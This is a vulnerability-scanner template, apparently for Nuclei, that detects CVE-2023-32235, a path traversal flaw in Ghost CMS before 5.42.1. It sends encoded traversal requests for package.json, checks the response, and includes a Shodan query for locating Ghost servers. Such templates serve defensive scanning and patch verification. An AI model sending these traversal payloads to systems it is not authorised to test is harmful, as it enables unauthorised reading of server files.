46 lines
1.2 KiB
YAML
46 lines
1.2 KiB
YAML
id: CVE-2023-32235
|
|
|
|
info:
|
|
name: Ghost CMS < 5.42.1 - Path Traversal
|
|
author: j3ssie
|
|
severity: medium
|
|
description: |
|
|
Ghost before 5.42.1 allows remote attackers to read arbitrary files within the active theme's folder via /assets/built%2F..%2F..%2F/ directory traversal. This occurs in frontend/web/middleware/static-theme.js.
|
|
remediation: Fixed in version 5.42.1
|
|
reference:
|
|
- https://github.com/advisories/GHSA-wf7x-fh6w-34r6
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-32235
|
|
classification:
|
|
cve-id: CVE-2023-32235
|
|
metadata:
|
|
max-request: 2
|
|
verified: true
|
|
shodan-query: http.component:"Ghost"
|
|
tags: cve,cve2023,lfi,ghostcms
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/assets/built%2F..%2F..%2F/package.json"
|
|
- "{{BaseURL}}/assets/built%2F..%2F..%2F%E0%A4%A/package.json"
|
|
|
|
stop-at-first-match: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '"name"'
|
|
- '"version"'
|
|
- '"ghost"'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "application/json"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|